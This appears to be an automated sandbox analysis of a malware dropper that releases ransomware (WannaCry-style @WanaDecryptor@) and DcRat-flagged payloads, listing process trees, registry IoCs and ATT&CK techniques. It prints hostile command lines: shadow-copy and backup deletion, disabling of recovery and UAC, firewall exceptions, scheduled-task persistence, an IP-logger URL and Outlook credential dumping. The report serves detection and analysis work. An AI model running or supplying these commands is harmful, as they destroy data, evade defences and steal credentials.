PID 5104 wrote to memory of 884	5104	RIP_YOUR_PC_LOL.exe	1.exe
PID 5104 wrote to memory of 884	5104	RIP_YOUR_PC_LOL.exe	1.exe
PID 5104 wrote to memory of 884	5104	RIP_YOUR_PC_LOL.exe	1.exe
PID 884 wrote to memory of 5068	884	1.exe	cmd.exe
PID 884 wrote to memory of 5068	884	1.exe	cmd.exe
PID 5068 wrote to memory of 4888	5068	cmd.exe	msedge.exe
PID 5068 wrote to memory of 4888	5068	cmd.exe	msedge.exe
PID 4888 wrote to memory of 4636	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 4636	4888	msedge.exe	msedge.exe
PID 5104 wrote to memory of 2720	5104	RIP_YOUR_PC_LOL.exe	10.exe
PID 5104 wrote to memory of 2720	5104	RIP_YOUR_PC_LOL.exe	10.exe
PID 5104 wrote to memory of 2720	5104	RIP_YOUR_PC_LOL.exe	10.exe
PID 2720 wrote to memory of 5040	2720	10.exe	attrib.exe
PID 2720 wrote to memory of 5040	2720	10.exe	attrib.exe
PID 2720 wrote to memory of 5040	2720	10.exe	attrib.exe
PID 2720 wrote to memory of 1792	2720	10.exe	icacls.exe
PID 2720 wrote to memory of 1792	2720	10.exe	icacls.exe
PID 2720 wrote to memory of 1792	2720	10.exe	icacls.exe
PID 5104 wrote to memory of 4064	5104	RIP_YOUR_PC_LOL.exe	WINWORD.EXE
PID 5104 wrote to memory of 4064	5104	RIP_YOUR_PC_LOL.exe	WINWORD.EXE
PID 5104 wrote to memory of 1360	5104	RIP_YOUR_PC_LOL.exe	EXCEL.EXE
PID 5104 wrote to memory of 1360	5104	RIP_YOUR_PC_LOL.exe	EXCEL.EXE
PID 5104 wrote to memory of 1360	5104	RIP_YOUR_PC_LOL.exe	EXCEL.EXE
PID 5104 wrote to memory of 4680	5104	RIP_YOUR_PC_LOL.exe	5.exe
PID 5104 wrote to memory of 4680	5104	RIP_YOUR_PC_LOL.exe	5.exe
PID 5104 wrote to memory of 4680	5104	RIP_YOUR_PC_LOL.exe	5.exe
PID 2720 wrote to memory of 4272	2720	10.exe	taskdl.exe
PID 2720 wrote to memory of 4272	2720	10.exe	taskdl.exe
PID 2720 wrote to memory of 4272	2720	10.exe	taskdl.exe
PID 5104 wrote to memory of 1456	5104	RIP_YOUR_PC_LOL.exe	6.exe
PID 5104 wrote to memory of 1456	5104	RIP_YOUR_PC_LOL.exe	6.exe
PID 5104 wrote to memory of 1848	5104	RIP_YOUR_PC_LOL.exe	7.exe
PID 5104 wrote to memory of 1848	5104	RIP_YOUR_PC_LOL.exe	7.exe
PID 5104 wrote to memory of 1848	5104	RIP_YOUR_PC_LOL.exe	7.exe
PID 2720 wrote to memory of 4264	2720	10.exe	cmd.exe
PID 2720 wrote to memory of 4264	2720	10.exe	cmd.exe
PID 2720 wrote to memory of 4264	2720	10.exe	cmd.exe
PID 5104 wrote to memory of 716	5104	RIP_YOUR_PC_LOL.exe	8.exe
PID 5104 wrote to memory of 716	5104	RIP_YOUR_PC_LOL.exe	8.exe
PID 5104 wrote to memory of 716	5104	RIP_YOUR_PC_LOL.exe	8.exe
PID 5104 wrote to memory of 4396	5104	RIP_YOUR_PC_LOL.exe	WINWORD.EXE
PID 5104 wrote to memory of 4396	5104	RIP_YOUR_PC_LOL.exe	WINWORD.EXE
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe
PID 4888 wrote to memory of 3584	4888	msedge.exe	msedge.exe

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

Processes:

6.exedllhost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	dllhost.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

5040 attrib.exe

pid	process
5040	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RIP_YOUR_PC_LOL.exe
"C:\Users\Admin\AppData\Local\Temp\RIP_YOUR_PC_LOL.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5104

C:\Users\Admin\Desktop\1.exe
"C:\Users\Admin\Desktop\1.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:884

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\EED9.tmp\EEEA.tmp\EEEB.bat C:\Users\Admin\Desktop\1.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:5068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/2bB2s6
4⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4888

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x78,0xdc,0x100,0x74,0x104,0x7ffab89b46f8,0x7ffab89b4708,0x7ffab89b4718
5⤵
PID:4636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:2
5⤵
PID:3584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:2872

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2716 /prefetch:8
5⤵
PID:2372

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3828 /prefetch:1
5⤵
PID:2364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
5⤵
PID:4412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5144 /prefetch:8
5⤵
PID:276

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5652 /prefetch:8
5⤵
PID:3252

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
5⤵
PID:2648

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5712 /prefetch:1
5⤵
PID:2728

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6352 /prefetch:8
5⤵
PID:3552

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
5⤵
- Drops file in Program Files directory
PID:1300

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff7c3585460,0x7ff7c3585470,0x7ff7c3585480
6⤵
PID:4548

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6352 /prefetch:8
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:5140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6544 /prefetch:8
5⤵
PID:3068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3184 /prefetch:8
5⤵
PID:520

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,11077745805879252831,7185109248006417536,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3184 /prefetch:2
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:4772

C:\Users\Admin\Desktop\10.exe
"C:\Users\Admin\Desktop\10.exe"
2⤵
- Modifies extensions of user files
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2720

C:\Windows\SysWOW64\attrib.exe
attrib +h .
3⤵
- DcRat
- Views/modifies file attributes
PID:5040

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
3⤵
- Modifies file permissions
PID:1792

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:4272

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 16531675565802.bat
3⤵
PID:4264

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:1700

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe co
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2928

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @WanaDecryptor@.exe vs
3⤵
PID:1820

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe vs
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3204

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
5⤵
PID:5280

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:5324

C:\Users\Admin\Desktop\taskse.exe
taskse.exe C:\Users\Admin\Desktop\@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
PID:5656

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5668

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ogbxohhg056" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
3⤵
PID:5688

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ogbxohhg056" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
4⤵
- Adds Run key to start application
- Modifies registry key
PID:5740

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:5768

C:\Users\Admin\Desktop\taskse.exe
taskse.exe C:\Users\Admin\Desktop\@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
PID:5576

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4952

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:3084

C:\Users\Admin\Desktop\taskse.exe
taskse.exe C:\Users\Admin\Desktop\@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
PID:5724

C:\Users\Admin\Desktop\@WanaDecryptor@.exe
@WanaDecryptor@.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5708

C:\Users\Admin\Desktop\taskdl.exe
taskdl.exe
3⤵
- Executes dropped EXE
PID:5784

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\2.doc" /o ""
2⤵
PID:4064

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\3.xlsx"
2⤵
PID:1360

C:\Users\Admin\Desktop\5.exe
"C:\Users\Admin\Desktop\5.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:4680

C:\ProgramData\system.exe
"C:\ProgramData\system.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:3892

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\ProgramData\system.exe" "system.exe" ENABLE
4⤵
- Modifies Windows Firewall
PID:3132

C:\Users\Admin\Desktop\6.exe
"C:\Users\Admin\Desktop\6.exe"
2⤵
- UAC bypass
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:1456

C:\Windows\System32\C_875\dllhost.exe
"C:\Windows\System32\C_875\dllhost.exe"
3⤵
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:2928

C:\Users\Admin\Desktop\7.exe
"C:\Users\Admin\Desktop\7.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1848

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
3⤵
- Accesses Microsoft Outlook accounts
PID:4748

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:176

C:\Users\Admin\Desktop\8.exe
"C:\Users\Admin\Desktop\8.exe"
2⤵
- Modifies extensions of user files
- Drops startup file
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:716

C:\Windows\system32\wbem\wmic.exe
"C:\wgs\n\..\..\Windows\jjmcg\lwdk\..\..\system32\chir\vrx\..\..\wbem\wag\..\wmic.exe" shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3916

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\9.docm" /o ""
2⤵
PID:4396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "10" /sc ONLOGON /tr "'C:\Users\Admin\Desktop\ConfirmReceive\10.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\C_875\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\System32\CIRCoInst\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3512

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.VisualElementsManifest\msedge.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\label\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Users\Default User\upfc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2444

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\PLA\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3232

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x33c 0x4b4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2852

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5900

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5948

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6024

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Pictures\@Please_Read_Me@.txt.D6RI
2⤵
PID:5152

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops startup file
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5332

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\DECRYPT-FILES.txt
1⤵
PID:5820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Hidden Files and Directories

T1158

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

File Deletion

T1107

File Permissions Modification

T1222

Scripting

T1064

Hidden Files and Directories

T1158

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery